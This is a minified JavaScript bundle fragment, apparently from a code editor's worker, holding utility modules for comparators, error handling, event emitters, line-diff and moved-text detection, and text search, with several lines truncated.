t===0}x.isNeitherLessOrGreaterThan=V,x.greaterThan=1,x.lessThan=-1,x.neitherLessOrGreaterThan=0})(N||(n.CompareResult=N={}));function R(x,O){return(F,H)=>O(x(F),x(H))}n.compareBy=R;function D(...x){return(O,F)=>{for(const H of x){const V=H(O,F);if(!N.isNeitherLessOrGreaterThan(V))return V}return N.neitherLessOrGreaterThan}}n.tieBreakComparators=D;const k=(x,O)=>x-O;n.numberComparator=k;const U=(x,O)=>(0,n.numberComparator)(x?1:0,O?1:0);n.booleanComparator=U;function I(x){return(O,F)=>-x(O,F)}n.reverseOrder=I;class B{constructor(O){this.items=O,this.firstIdx=0,this.lastIdx=this.items.length-1}get length(){return this.lastIdx-this.firstIdx+1}takeWhile(O){let F=this.firstIdx;for(;F<this.items.length&&O(this.items Line truncated
`+g.stack):new Error(g.message+`
`+g.stack):g},0)}}emit(g){this.listeners.forEach(S=>{S(g)})}onUnexpectedError(g){this.unexpectedErrorHandler(g),this.emit(g)}onUnexpectedExternalError(g){this.unexpectedErrorHandler(g)}}n.ErrorHandler=M,n.errorHandler=new M;function A(f){L(f)||n.errorHandler.onUnexpectedError(f)}n.onUnexpectedError=A;function i(f){L(f)||n.errorHandler.onUnexpectedExternalError(f)}n.onUnexpectedExternalError=i;function d(f){if(f instanceof Error){const{name:g,message:S}=f,_=f.stacktrace||f.stack;return{$isError:!0,name:g,message:S,stack:_,noTelemetry:c.isErrorNoTelemetry(f)}}return f}n.transformErrorForSerialization=d;const m="Canceled";function L(f){return f instanceof h?!0:f instanceof Error&&f.name===m&&f.message===m}n.isCancellationError=L;class h extends Error{constructor(){super(m),this.name=this.message}}n.CancellationError=h;function o(){const f=new Error(m);return f.name=f.message,f}n.canceled=o;function w(f){return f?new Error(`Illegal argument: ${f}`):new Error("Illegal argument")}n.illegalArgument=w;function e(f){return f?new Error(`Illegal state: ${f}`):new Error("Illegal state")}n.illegalState=e;class a extends Error{constructor(g){super("NotSupported"),g&&(this.message=g)}}n.NotSupportedError=a;class c extends Error{constructor(g){super(g),this.name="CodeExpectedError"}static fromError(g){if(g instanceof c)return g;const S=new c;return S.message=g.message,S.stack=g.stack,S}static isErrorNoTelemetry(g){return g.name==="CodeExpectedError"}}n.ErrorNoTelemetry=c;class l extends Error{constructor(g){super(g||"An unexpected bug occurred."),Object.setPrototypeOf(this,l.prototype)}}n.BugIndicatingError=l}),Y(X[12],J([0,1,5]),function(T,n,M){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.checkAdjacentItems=n.assertFn=n.assertNever=n.ok=void 0;function A(L,h){if(!L)throw new Error(h?`Assertion failed (${h})`:"Assertion Failed")}n.ok=A;function i(L,h="Unreachable"){throw new Error(h)}n.assertNever=i;function d(L){if(!L()){debugger;L(),(0,M.onUnexpectedError)(new M.BugIndicatingError("Assertion Failed"))}}n.assertFn=d;function m(L,h){let o=0;for(;o<L.length-1;){const w=L[o],e=L[o+1];if(!h(w,e))return!1;o++}return!0}n.checkAdjacentItems=m}),Y(X[20],J([0,1]),function(T,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.createSingleCallFunction=void 0;function M(A){const i=this;let d=!1,m;return function(){return d||(d=!0,m=A.apply(i,arguments)),m}}n.createSingleCallFunction=M}),Y(X[21],J([0,1]),function(T,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.Iterable=void 0;var M;(function(A){function i(v){return v&&typeof v=="object"&&typeof v[Symbol.iterator]=="function"}A.is=i;const d=Object.freeze([]);function m(){return d}A.empty=m;function*L(v){yield v}A.single=L;function h(v){return i(v)?v:L(v)}A.wrap=h;function o(v){return v||d}A.from=o;function*w(v){for(let r=v.length-1;r>=0;r--)yield v[r]}A.reverse=w;function e(v){return!v||v[Symbol.iterator]().next().done===!0}A.isEmpty=e;function a(v){return v[Symbol.iterator]().next().value}A.first=a;function c(v,r){for(const s of v)if(r(s))return!0;return!1}A.some=c;function l(v,r){for(const s of v)if(r(s))return s}A.find=l;function*f(v,r){for(const s of v)r(s)&&(yield s)}A.filter=f;function*g(v,r){let s=0;for(const u of v)yield r(u,s++)}A.map=g;function*S(...v){for(const r of v)for(const s of r)yield s}A.concat=S;function _(v,r,s){let u=s;for(const p of v)u=r(u,p);return u}A.reduce=_;function*E(v,r,s=v.length){for(r<0&&(r+=v.length),s<0?s+=v.length:s>v.length&&(s=v.length);r<s;r++)yield v[r]}A.slice=E;function y(v,r=Number.POSITIVE_INFINITY){const s=[];if(r===0)return[s,v];const u=v[Symbol.iterator]();for(let p=0;p<r;p++){const b=u.next();if(b.done)return[s,A.empty()];s.push(b.value)}return[s,{[Symbol.iterator](){return u}}]}A.consume=y})(M||(n.Iterable=M={}))}),Y(X[35],J([0,1]),function(T,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.KeyChord=n.KeyCodeUtils=n.IMMUTABLE_KEY_CODE_TO_CODE=n.IMMUTABLE_CODE_TO_KEY_CODE=n.NATIVE_WINDOWS_KEY_CODE_TO_KEY_CODE=n.EVENT_KEY_CODE_MAP=void 0;class M{constructor(){this._keyCodeToStr=[],this._strToKeyCode=Object.create(null)}define(a,c){this._keyCodeToStr[a]=c,this._strToKeyCode[c.toLowerCase()]=a}keyCodeToStr(a){return this._keyCodeToStr[a]}strToKeyCode(a){return this._strToKeyCode[a.toLowerCase()]||0}}const A=new M,i=new M,d=new M;n.EVENT_KEY_CODE_MAP=new Array(230),n.NATIVE_WINDOWS_KEY_CODE_TO_KEY_CODE={};const m=[],L=Object.create(null),h=Object.create(null);n.IMMUTABLE_CODE_TO_KEY_CODE=[],n.IMMUTABLE_KEY_CODE_TO_CODE=[];for(let e=0;e<=193;e++)n.IMMUTABLE_CODE_TO_KEY_CODE[e]=-1;for(let e=0;e<=132;e++)n.IMMUTABLE_KEY_CODE_TO_CODE[e]=-1;(function(){const e="",a=[[1,0,"None",0,"unknown",0,"VK_UNKNOWN",e,e],[1,1,"Hyper",0,e,0,e,e,e],[1,2,"Super",0,e,0,e,e,e],[1,3,"Fn",0,e,0,e,e,e],[1,4,"FnLock",0,e,0,e,e,e],[1,5,"Suspend",0,e,0,e,e,e],[1,6,"Resume",0,e,0,e,e,e],[1,7,"Turbo",0,e,0,e,e,e],[1,8,"Sleep",0,e,0,"VK_SLEEP",e,e],[1,9,"WakeUp",0,e,0,e,e,e],[0,10,"KeyA",31,"A",65,"V Line truncated
`).slice(2).join(`
`))}}class l{constructor(C){this.value=C}}const f=2,g=(b,C)=>{if(b instanceof l)C(b);else for(let N=0;N<b.length;N++){const R=b[N];R&&C(R)}};class S{constructor(C){var N,R,D,k,U;this._size=0,this._options=C,this._leakageMon=e>0||!((N=this._options)===null||N===void 0)&&N.leakWarningThreshold?new a((D=(R=this._options)===null||R===void 0?void 0:R.leakWarningThreshold)!==null&&D!==void 0?D:e):void 0,this._perfMon=!((k=this._options)===null||k===void 0)&&k._profName?new w(this._options._profName):void 0,this._deliveryQueue=(U=this._options)===null||U===void 0?void 0:U.deliveryQueue}dispose(){var C,N,R,D;if(!this._disposed){if(this._disposed=!0,((C=this._deliveryQueue)===null||C===void 0?void 0:C.current)===this&&this._deliveryQueue.reset(),this._listeners){if(L){const k=this._listeners;queueMicrotask(()=>{g(k,U=>{var I;return(I=U.stack)===null||I===void 0?void 0:I.print()})})}this._listeners=void 0,this._size=0}(R=(N=this._options)===null||N===void 0?void 0:N.onDidRemoveLastListener)===null||R===void 0||R.call(N),(D=this._leakageMon)===null||D===void 0||D.dispose()}}get event(){var C;return(C=this._event)!==null&&C!==void 0||(this._event=(N,R,D)=>{var k,U,I,B,z;if(this._leakageMon&&this._size>this._leakageMon.threshold*3)return console.warn(`[${this._leakageMon.name}] REFUSES to accept new listeners because it exceeded its threshold by far`),i.Disposable.None;if(this._disposed)return i.Disposable.None;R&&(N=N.bind(R));const x=new l(N);let O,F;this._leakageMon&&this._size>=Math.ceil(this._leakageMon.threshold*.2)&&(x.stack=c.create(),O=this._leakageMon.check(x.stack,this._size+1)),L&&(x.stack=F??c.create()),this._listeners?this._listeners instanceof l?((z=this._deliveryQueue)!==null&&z!==void 0||(this._deliveryQueue=new E),this._listeners=[this._listeners,x]):this._listeners.push(x):((U=(k=this._options)===null||k===void 0?void 0:k.onWillAddFirstListener)===null||U===void 0||U.call(k,this),this._listeners=x,(B=(I=this._options)===null||I===void 0?void 0:I.onDidAddFirstListener)===null||B===void 0||B.call(I,this)),this._size++;const H=(0,i.toDisposable)(()=>{O?.(),this._removeListener(x)});return D instanceof i.DisposableStore?D.add(H):Array.isArray(D)&&D.push(H),H}),this._event}_removeListener(C){var N,R,D,k;if((R=(N=this._options)===null||N===void 0?void 0:N.onWillRemoveListener)===null||R===void 0||R.call(N,this),!this._listeners)return;if(this._size===1){this._listeners=void 0,(k=(D=this._options)===null||D===void 0?void 0:D.onDidRemoveLastListener)===null||k===void 0||k.call(D,this),this._size=0;return}const U=this._listeners,I=U.indexOf(C);if(I===-1)throw console.log("disposed?",this._disposed),console.log("size?",this._size),console.log("arr?",JSON.stringify(this._listeners)),new Error("Attempted to dispose unknown listener");this._size--,U[I]=void 0;const B=this._deliveryQueue.current===this;if(this._size*f<=U.length){let z=0;for(let x=0;x<U.length;x++)U[x]?U[z++]=U[x]:B&&(this._deliveryQueue.end--,z<this._deliveryQueue.i&&this._deliveryQueue.i--);U.length=z}}_deliver(C,N){var R;if(!C)return;const D=((R=this._options)===null||R===void 0?void 0:R.onListenerError)||M.onUnexpectedError;if(!D){C.value(N);return}try{C.value(N)}catch(k){D(k)}}_deliverQueue(C){const N=C.current._listeners;for(;C.i<C.end;)this._deliver(N[C.i++],C.value);C.reset()}fire(C){var N,R,D,k;if(!((N=this._deliveryQueue)===null||N===void 0)&&N.current&&(this._deliverQueue(this._deliveryQueue),(R=this._perfMon)===null||R===void 0||R.stop()),(D=this._perfMon)===null||D===void 0||D.start(this._size),this._listeners)if(this._listeners instanceof l)this._deliver(this._listeners,C);else{const U=this._deliveryQueue;U.enqueue(this,C,this._listeners.length),this._deliverQueue(U)}(k=this._perfMon)===null||k===void 0||k.stop()}hasListeners(){return this._size>0}}n.Emitter=S;const _=()=>new E;n.createEventDeliveryQueue=_;class E{constructor(){this.i=-1,this.end=0}enqueue(C,N,R){this.i=0,this.end=R,this.current=C,this.value=N}reset(){this.i=this.end,this.current=void 0,this.value=void 0}}class y extends S{constructor(C){super(C),this._isPaused=0,this._eventQueue=new d.LinkedList,this._mergeFn=C?.merge}pause(){this._isPaused++}resume(){if(this._isPaused!==0&&--this._isPaused===0)if(this._mergeFn){if(this._eventQueue.size>0){const C=Array.from(this._eventQueue);this._eventQueue.clear(),super.fire(this._mergeFn(C))}}else for(;!this._isPaused&&this._eventQueue.size!==0;)super.fire(this._eventQueue.shift())}fire(C){this._size&&(this._isPaused!==0?this._eventQueue.push(C):super.fire(C))}}n.PauseableEmitter=y;class v extends y{constructor(C){var N;super(C),this._delay=(N=C.delay)!==null&&N!==void 0?N:100}fire(C){this._handle||(this.pause(),this._handle=setTimeout(()=>{this._handle=void 0,this.resume()},this._delay)),super.fire(C)}}n.DebounceEmitter=v;class r extends S{constructor(C){super(C),this._queuedEvents=[],this._mergeFn=C?.merge}fire(C){this.hasListeners()&&(this._queuedEvents.push(C),this._queuedEvents.length===1&&queueMicrotask(()=>{this._mergeFn?s Line truncated
`)}isStronglyEqual(d,m){return this.lines[d]===this.lines[m]}}n.LineSequence=M;function A(i){let d=0;for(;d<i.length&&(i.charCodeAt(d)===32||i.charCodeAt(d)===9);)d++;return d}}),Y(X[15],J([0,1]),function(T,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.LineRangeFragment=n.isSpace=n.Array2D=void 0;class M{constructor(m,L){this.width=m,this.height=L,this.array=[],this.array=new Array(m*L)}get(m,L){return this.array[m+L*this.width]}set(m,L,h){this.array[m+L*this.width]=h}}n.Array2D=M;function A(d){return d===32||d===9}n.isSpace=A;class i{static getKey(m){let L=this.chrKeys.get(m);return L===void 0&&(L=this.chrKeys.size,this.chrKeys.set(m,L)),L}constructor(m,L,h){this.range=m,this.lines=L,this.source=h,this.histogram=[];let o=0;for(let w=m.startLineNumber-1;w<m.endLineNumberExclusive-1;w++){const e=L[w];for(let c=0;c<e.length;c++){o++;const l=e[c],f=i.getKey(l);this.histogram[f]=(this.histogram[f]||0)+1}o++;const a=i.getKey(`
`);this.histogram[a]=(this.histogram[a]||0)+1}this.totalCount=o}computeSimilarity(m){var L,h;let o=0;const w=Math.max(this.histogram.length,m.histogram.length);for(let e=0;e<w;e++)o+=Math.abs(((L=this.histogram[e])!==null&&L!==void 0?L:0)-((h=m.histogram[e])!==null&&h!==void 0?h:0));return 1-o/(this.totalCount+m.totalCount)}}n.LineRangeFragment=i,i.chrKeys=new Map}),Y(X[45],J([0,1,3,8,15]),function(T,n,M,A,i){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.DynamicProgrammingDiffing=void 0;class d{compute(L,h,o=A.InfiniteTimeout.instance,w){if(L.length===0||h.length===0)return A.DiffAlgorithmResult.trivial(L,h);const e=new i.Array2D(L.length,h.length),a=new i.Array2D(L.length,h.length),c=new i.Array2D(L.length,h.length);for(let y=0;y<L.length;y++)for(let v=0;v<h.length;v++){if(!o.isValid())return A.DiffAlgorithmResult.trivialTimedOut(L,h);const r=y===0?0:e.get(y-1,v),s=v===0?0:e.get(y,v-1);let u;L.getElement(y)===h.getElement(v)?(y===0||v===0?u=0:u=e.get(y-1,v-1),y>0&&v>0&&a.get(y-1,v-1)===3&&(u+=c.get(y-1,v-1)),u+=w?w(y,v):1):u=-1;const p=Math.max(r,s,u);if(p===u){const b=y>0&&v>0?c.get(y-1,v-1):0;c.set(y,v,b+1),a.set(y,v,3)}else p===r?(c.set(y,v,0),a.set(y,v,1)):p===s&&(c.set(y,v,0),a.set(y,v,2));e.set(y,v,p)}const l=[];let f=L.length,g=h.length;function S(y,v){(y+1!==f||v+1!==g)&&l.push(new A.SequenceDiff(new M.OffsetRange(y+1,f),new M.OffsetRange(v+1,g))),f=y,g=v}let _=L.length-1,E=h.length-1;for(;_>=0&&E>=0;)a.get(_,E)===3?(S(_,E),_--,E--):a.get(_,E)===1?_--:E--;return S(-1,-1),l.reverse(),new A.DiffAlgorithmResult(l,!1)}}n.DynamicProgrammingDiffing=d}),Y(X[30],J([0,1,11,3,4,2,15]),function(T,n,M,A,i,d,m){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.LinesSliceCharSequence=void 0;class L{constructor(c,l,f){this.lines=c,this.considerWhitespaceChanges=f,this.elements=[],this.firstCharOffsetByLine=[],this.additionalOffsetByLine=[];let g=!1;l.start>0&&l.endExclusive>=c.length&&(l=new A.OffsetRange(l.start-1,l.endExclusive),g=!0),this.lineRange=l,this.firstCharOffsetByLine[0]=0;for(let S=this.lineRange.start;S<this.lineRange.endExclusive;S++){let _=c[S],E=0;if(g)E=_.length,_="",g=!1;else if(!f){const y=_.trimStart();E=_.length-y.length,_=y.trimEnd()}this.additionalOffsetByLine.push(E);for(let y=0;y<_.length;y++)this.elements.push(_.charCodeAt(y));S<c.length-1&&(this.elements.push(`
`.charCodeAt(0)),this.firstCharOffsetByLine[S-this.lineRange.start+1]=this.elements.length)}this.additionalOffsetByLine.push(0)}toString(){return`Slice: "${this.text}"`}get text(){return this.getText(new A.OffsetRange(0,this.length))}getText(c){return this.elements.slice(c.start,c.endExclusive).map(l=>String.fromCharCode(l)).join("")}getElement(c){return this.elements[c]}get length(){return this.elements.length}getBoundaryScore(c){const l=e(c>0?this.elements[c-1]:-1),f=e(c<this.elements.length?this.elements[c]:-1);if(l===6&&f===7)return 0;let g=0;return l!==f&&(g+=10,l===0&&f===1&&(g+=1)),g+=w(l),g+=w(f),g}translateOffset(c){if(this.lineRange.isEmpty)return new i.Position(this.lineRange.start+1,1);const l=(0,M.findLastIdxMonotonous)(this.firstCharOffsetByLine,f=>f<=c);return new i.Position(this.lineRange.start+l+1,c-this.firstCharOffsetByLine[l]+this.additionalOffsetByLine[l]+1)}translateRange(c){return d.Range.fromPositions(this.translateOffset(c.start),this.translateOffset(c.endExclusive))}findWordContaining(c){if(c<0||c>=this.elements.length||!h(this.elements[c]))return;let l=c;for(;l>0&&h(this.elements[l-1]);)l--;let f=c;for(;f<this.elements.length&&h(this.elements[f]);)f++;return new A.OffsetRange(l,f)}countLinesIn(c){return this.translateOffset(c.endExclusive).lineNumber-this.translateOffset(c.start).lineNumber}isStronglyEqual(c,l){return this.elements[c]===this.elements[l]}extendToFullLines(c){var l,f;const g=(l=(0,M.findLastMonotonous)(this.firstCharOffsetByLine,_=>_<=c.start))!==null&&l!==void 0?l:0,S=(f=(0,M.findFirstMonotonous)(this.firstCharOffsetByLine,_=>c.endExclusive<=_))!==null&&f!==void 0?f:this.elements.length;return new A.OffsetRange(g,S)}}n.LinesSliceCharSequence=L;function h(a){return a>=97&&a<=122||a>=65&&a<=90||a>=48&&a<=57}const o={[0]:0,[1]:0,[2]:0,[3]:10,[4]:2,[5]:3,[6]:10,[7]:10};function w(a){return o[a]}function e(a){return a===10?7:a===13?6:(0,m.isSpace)(a)?5:a>=97&&a<=122?0:a>=65&&a<=90?1:a>=48&&a<=57?2:a===-1?3:4}}),Y(X[31],J([0,1]),function(T,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.MovedText=n.LinesDiff=void 0;class M{constructor(d,m,L){this.changes=d,this.moves=m,this.hitTimeout=L}}n.LinesDiff=M;class A{constructor(d,m){this.lineRangeMapping=d,this.changes=m}}n.MovedText=A}),Y(X[16],J([0,1,10]),function(T,n,M){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.RangeMapping=n.DetailedLineRangeMapping=n.LineRangeMapping=void 0;class A{static inverse(L,h,o){const w=[];let e=1,a=1;for(const l of L){const f=new i(new M.LineRange(e,l.original.startLineNumber),new M.LineRange(a,l.modified.startLineNumber),void 0);f.modified.isEmpty||w.push(f),e=l.original.endLineNumberExclusive,a=l.modified.endLineNumberExclusive}const c=new i(new M.LineRange(e,h+1),new M.LineRange(a,o+1),void 0);return c.modified.isEmpty||w.push(c),w}constructor(L,h){this.original=L,this.modified=h}toString(){return`{${this.original.toString()}->${this.modified.toString()}}`}flip(){return new A(this.modified,this.original)}join(L){return new A(this.original.join(L.original),this.modified.join(L.modified))}}n.LineRangeMapping=A;class i extends A{constructor(L,h,o){super(L,h),this.innerChanges=o}flip(){var L;return new i(this.modified,this.original,(L=this.innerChanges)===null||L===void 0?void 0:L.map(h=>h.flip()))}}n.DetailedLineRangeMapping=i;class d{constructor(L,h){this.originalRange=L,this.modifiedRange=h}toString(){return`{${this.originalRange.toString()}->${this.modifiedRange.toString()}}`}flip(){return new d(this.modifiedRange,this.originalRange)}}n.RangeMapping=d}),Y(X[46],J([0,1,8,16,7,11,37,10,3,30,15,29]),function(T,n,M,A,i,d,m,L,h,o,w,e){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.computeMovedLines=void 0;function a(_,E,y,v,r,s){let{moves:u,excludedChanges:p}=c(_,E,y,s);if(!s.isValid())return[];const b=_.filter(N=>!p.has(N)),C=l(b,v,r,E,y,s);return(0,i.pushMany)(u,C),u=g(u),u=u.filter(N=>N.original.toOffsetRange().slice(E).map(D=>D.trim()).join(`
`).length>=10),u=S(_,u),u}n.computeMovedLines=a;function c(_,E,y,v){const r=[],s=_.filter(b=>b.modified.isEmpty&&b.original.length>=3).map(b=>new w.LineRangeFragment(b.original,E,b)),u=new Set(_.filter(b=>b.original.isEmpty&&b.modified.length>=3).map(b=>new w.LineRangeFragment(b.modified,y,b))),p=new Set;for(const b of s){let C=-1,N;for(const R of u){const D=b.computeSimilarity(R);D>C&&(C=D,N=R)}if(C>.9&&N&&(u.delete(N),r.push(new A.LineRangeMapping(b.range,N.range)),p.add(b.source),p.add(N.source)),!v.isValid())return{moves:r,excludedChanges:p}}return{moves:r,excludedChanges:p}}function l(_,E,y,v,r,s){const u=[],p=new m.SetMap;for(const D of _)for(let k=D.original.startLineNumber;k<D.original.endLineNumberExclusive-2;k++){const U=`${E[k-1]}:${E[k+1-1]}:${E[k+2-1]}`;p.add(U,{range:new L.LineRange(k,k+3)})}const b=[];_.sort((0,i.compareBy)(D=>D.modified.startLineNumber,i.numberComparator));for(const D of _){let k=[];for(let U=D.modified.startLineNumber;U<D.modified.endLineNumberExclusive-2;U++){const I=`${y[U-1]}:${y[U+1-1]}:${y[U+2-1]}`,B=new L.LineRange(U,U+3),z=[];p.forEach(I,({range:x})=>{for(const F of k)if(F.originalLineRange.endLineNumberExclusive+1===x.endLineNumberExclusive&&F.modifiedLineRange.endLineNumberExclusive+1===B.endLineNumberExclusive){F.originalLineRange=new L.LineRange(F.originalLineRange.startLineNumber,x.endLineNumberExclusive),F.modifiedLineRange=new L.LineRange(F.modifiedLineRange.startLineNumber,B.endLineNumberExclusive),z.push(F);return}const O={modifiedLineRange:B,originalLineRange:x};b.push(O),z.push(O)}),k=z}if(!s.isValid())return[]}b.sort((0,i.reverseOrder)((0,i.compareBy)(D=>D.modifiedLineRange.length,i.numberComparator)));const C=new L.LineRangeSet,N=new L.LineRangeSet;for(const D of b){const k=D.modifiedLineRange.startLineNumber-D.originalLineRange.startLineNumber,U=C.subtractFrom(D.modifiedLineRange),I=N.subtractFrom(D.originalLineRange).getWithDelta(k),B=U.getIntersection(I);for(const z of B.ranges){if(z.length<3)continue;const x=z,O=z.delta(-k);u.push(new A.LineRangeMapping(O,x)),C.addRange(x),N.addRange(O)}}u.sort((0,i.compareBy)(D=>D.original.startLineNumber,i.numberComparator));const R=new d.MonotonousArray(_);for(let D=0;D<u.length;D++){const k=u[D],U=R.findLastMonotonous(V=>V.original.startLineNumber<=k.original.startLineNumber),I=(0,d.findLastMonotonous)(_,V=>V.modified.startLineNumber<=k.modified.startLineNumber),B=Math.max(k.original.startLineNumber-U.original.startLineNumber,k.modified.startLineNumber-I.modified.startLineNumber),z=R.findLastMonotonous(V=>V.original.startLineNumber<k.original.endLineNumberExclusive),x=(0,d.findLastMonotonous)(_,V=>V.modified.startLineNumber<k.modified.endLineNumberExclusive),O=Math.max(z.original.endLineNumberExclusive-k.original.endLineNumberExclusive,x.modified.endLineNumberExclusive-k.modified.endLineNumberExclusive);let F;for(F=0;F<B;F++){const V=k.original.startLineNumber-F-1,t=k.modified.startLineNumber-F-1;if(V>v.length||t>r.length||C.contains(t)||N.contains(V)||!f(v[V-1],r[t-1],s))break}F>0&&(N.addRange(new L.LineRange(k.original.startLineNumber-F,k.original.startLineNumber)),C.addRange(new L.LineRange(k.modified.startLineNumber-F,k.modified.startLineNumber)));let H;for(H=0;H<O;H++){const V=k.original.endLineNumberExclusive+H,t=k.modified.endLineNumberExclusive+H;if(V>v.length||t>r.length||C.contains(t)||N.contains(V)||!f(v[V-1],r[t-1],s))break}H>0&&(N.addRange(new L.LineRange(k.original.endLineNumberExclusive,k.original.endLineNumberExclusive+H)),C.addRange(new L.LineRange(k.modified.endLineNumberExclusive,k.modified.endLineNumberExclusive+H))),(F>0||H>0)&&(u[D]=new A.LineRangeMapping(new L.LineRange(k.original.startLineNumber-F,k.original.endLineNumberExclusive+H),new L.LineRange(k.modified.startLineNumber-F,k.modified.endLineNumberExclusive+H)))}return u}function f(_,E,y){if(_.trim()===E.trim())return!0;if(_.length>300&&E.length>300)return!1;const r=new e.MyersDiffAlgorithm().compute(new o.LinesSliceCharSequence([_],new h.OffsetRange(0,1),!1),new o.LinesSliceCharSequence([E],new h.OffsetRange(0,1),!1),y);let s=0;const u=M.SequenceDiff.invert(r.diffs,_.length);for(const N of u)N.seq1Range.forEach(R=>{(0,w.isSpace)(_.charCodeAt(R))||s++});function p(N){let R=0;for(let D=0;D<_.length;D++)(0,w.isSpace)(N.charCodeAt(D))||R++;return R}const b=p(_.length>E.length?_:E);return s/b>.6&&b>10}function g(_){if(_.length===0)return _;_.sort((0,i.compareBy)(y=>y.original.startLineNumber,i.numberComparator));const E=[_[0]];for(let y=1;y<_.length;y++){const v=E[E.length-1],r=_[y],s=r.original.startLineNumber-v.original.endLineNumberExclusive,u=r.modified.startLineNumber-v.modified.endLineNumberExclusive;if(s>=0&&u>=0&&s+u<=2){E[E.length-1]=v.join(r);continue}E.push(r)}return E}function S(_,E){const y=new d.MonotonousArray(_);return E=E.filter(v=>{const r=y.findLastMonotonous(p=>p.original.endLineNumberExclusive<v.original.endLineNumberExclusive)||new A.LineRangeMapping(new L.LineRange(1,1),new L.LineRange(1,1)),s=(0,d.findLastMonotonou Line truncated
`)>=0;let E=null;try{E=M.createRegExp(this.searchString,this.isRegex,{matchCase:this.matchCase,wholeWord:!1,multiline:_,global:!0,unicode:!0})}catch{return null}if(!E)return null;let y=!this.isRegex&&!_;return y&&this.searchString.toLowerCase()!==this.searchString.toUpperCase()&&(y=this.matchCase),new m.SearchData(E,this.wordSeparators?(0,A.getMapForWordSeparators)(this.wordSeparators):null,y?this.searchString:null)}}n.SearchParams=h;function o(S){if(!S||S.length===0)return!1;for(let _=0,E=S.length;_<E;_++){const y=S.charCodeAt(_);if(y===10)return!0;if(y===92){if(_++,_>=E)break;const v=S.charCodeAt(_);if(v===110||v===114||v===87)return!0}}return!1}n.isMultilineRegexSource=o;function w(S,_,E){if(!E)return new m.FindMatch(S,null);const y=[];for(let v=0,r=_.length;v<r;v++)y[v]=_[v];return new m.FindMatch(S,y)}n.createFindMatch=w;class e{constructor(_){const E=[];let y=0;for(let v=0,r=_.length;v<r;v++)_.charCodeAt(v)===10&&(E[y++]=v);this._lineFeedsOffsets=E}findLineFeedCountBeforeOffset(_){const E=this._lineFeedsOffsets;let y=0,v=E.length-1;if(v===-1||_<=E[0])return 0;for(;y<v;){const r=y+((v-y)/2>>0);E[r]>=_?v=r-1:E[r+1]>=_?(y=r,v=r):y=r+1}return y+1}}class a{static findMatches(_,E,y,v,r){const s=E.parseSearchRequest();return s?s.regex.multiline?this._doFindMatchesMultiline(_,y,new g(s.wordSeparators,s.regex),v,r):this._doFindMatchesLineByLine(_,y,s,v,r):[]}static _getMultilineMatchRange(_,E,y,v,r,s){let u,p=0;v?(p=v.findLineFeedCountBeforeOffset(r),u=E+r+p):u=E+r;let b;if(v){const D=v.findLineFeedCountBeforeOffset(r+s.length)-p;b=u+s.length+D}else b=u+s.length;const C=_.getPositionAt(u),N=_.getPositionAt(b);return new d.Range(C.lineNumber,C.column,N.lineNumber,N.column)}static _doFindMatchesMultiline(_,E,y,v,r){const s=_.getOffsetAt(E.getStartPosition()),u=_.getValueInRange(E,1),p=_.getEOL()===`\r
`?new e(u):null,b=[];let C=0,N;for(y.reset(0);N=y.next(u);)if(b[C++]=w(this._getMultilineMatchRange(_,s,u,p,N.index,N[0]),N,v),C>=r)return b;return b}static _doFindMatchesLineByLine(_,E,y,v,r){const s=[];let u=0;if(E.startLineNumber===E.endLineNumber){const b=_.getLineContent(E.startLineNumber).substring(E.startColumn-1,E.endColumn-1);return u=this._findMatchesInLine(y,b,E.startLineNumber,E.startColumn-1,u,s,v,r),s}const p=_.getLineContent(E.startLineNumber).substring(E.startColumn-1);u=this._findMatchesInLine(y,p,E.startLineNumber,E.startColumn-1,u,s,v,r);for(let b=E.startLineNumber+1;b<E.endLineNumber&&u<r;b++)u=this._findMatchesInLine(y,_.getLineContent(b),b,0,u,s,v,r);if(u<r){const b=_.getLineContent(E.endLineNumber).substring(0,E.endColumn-1);u=this._findMatchesInLine(y,b,E.endLineNumber,0,u,s,v,r)}return s}static _findMatchesInLine(_,E,y,v,r,s,u,p){const b=_.wordSeparators;if(!u&&_.simpleSearch){const R=_.simpleSearch,D=R.length,k=E.length;let U=-D;for(;(U=E.indexOf(R,U+D))!==-1;)if((!b||f(b,E,k,U,D))&&(s[r++]=new m.FindMatch(new d.Range(y,U+1+v,y,U+1+D+v),null),r>=p))return r;return r}const C=new g(_.wordSeparators,_.regex);let N;C.reset(0);do if(N=C.next(E),N&&(s[r++]=w(new d.Range(y,N.index+1+v,y,N.index+1+N[0].length+v),N,u),r>=p))return r;while(N);return r}static findNextMatch(_,E,y,v){const r=E.parseSearchRequest();if(!r)return null;const s=new g(r.wordSeparators,r.regex);return r.regex.multiline?this._doFindNextMatchMultiline(_,y,s,v):this._doFindNextMatchLineByLine(_,y,s,v)}static _doFindNextMatchMultiline(_,E,y,v){const r=new i.Position(E.lineNumber,1),s=_.getOffsetAt(r),u=_.getLineCount(),p=_.getValueInRange(new d.Range(r.lineNumber,r.column,u,_.getLineMaxColumn(u)),1),b=_.getEOL()===`\r
`?new e(p):null;y.reset(E.column-1);const C=y.next(p);return C?w(this._getMultilineMatchRange(_,s,p,b,C.index,C[0]),C,v):E.lineNumber!==1||E.column!==1?this._doFindNextMatchMultiline(_,new i.Position(1,1),y,v):null}static _doFindNextMatchLineByLine(_,E,y,v){const r=_.getLineCount(),s=E.lineNumber,u=_.getLineContent(s),p=this._findFirstMatchInLine(y,u,s,E.column,v);if(p)return p;for(let b=1;b<=r;b++){const C=(s+b-1)%r,N=_.getLineContent(C+1),R=this._findFirstMatchInLine(y,N,C+1,1,v);if(R)return R}return null}static _findFirstMatchInLine(_,E,y,v,r){_.reset(v-1);const s=_.next(E);return s?w(new d.Range(y,s.index+1,y,s.index+1+s[0].length),s,r):null}static findPreviousMatch(_,E,y,v){const r=E.parseSearchRequest();if(!r)return null;const s=new g(r.wordSeparators,r.regex);return r.regex.multiline?this._doFindPreviousMatchMultiline(_,y,s,v):this._doFindPreviousMatchLineByLine(_,y,s,v)}static _doFindPreviousMatchMultiline(_,E,y,v){const r=this._doFindMatchesMultiline(_,new d.Range(1,1,E.lineNumber,E.column),y,v,10*L);if(r.length>0)return 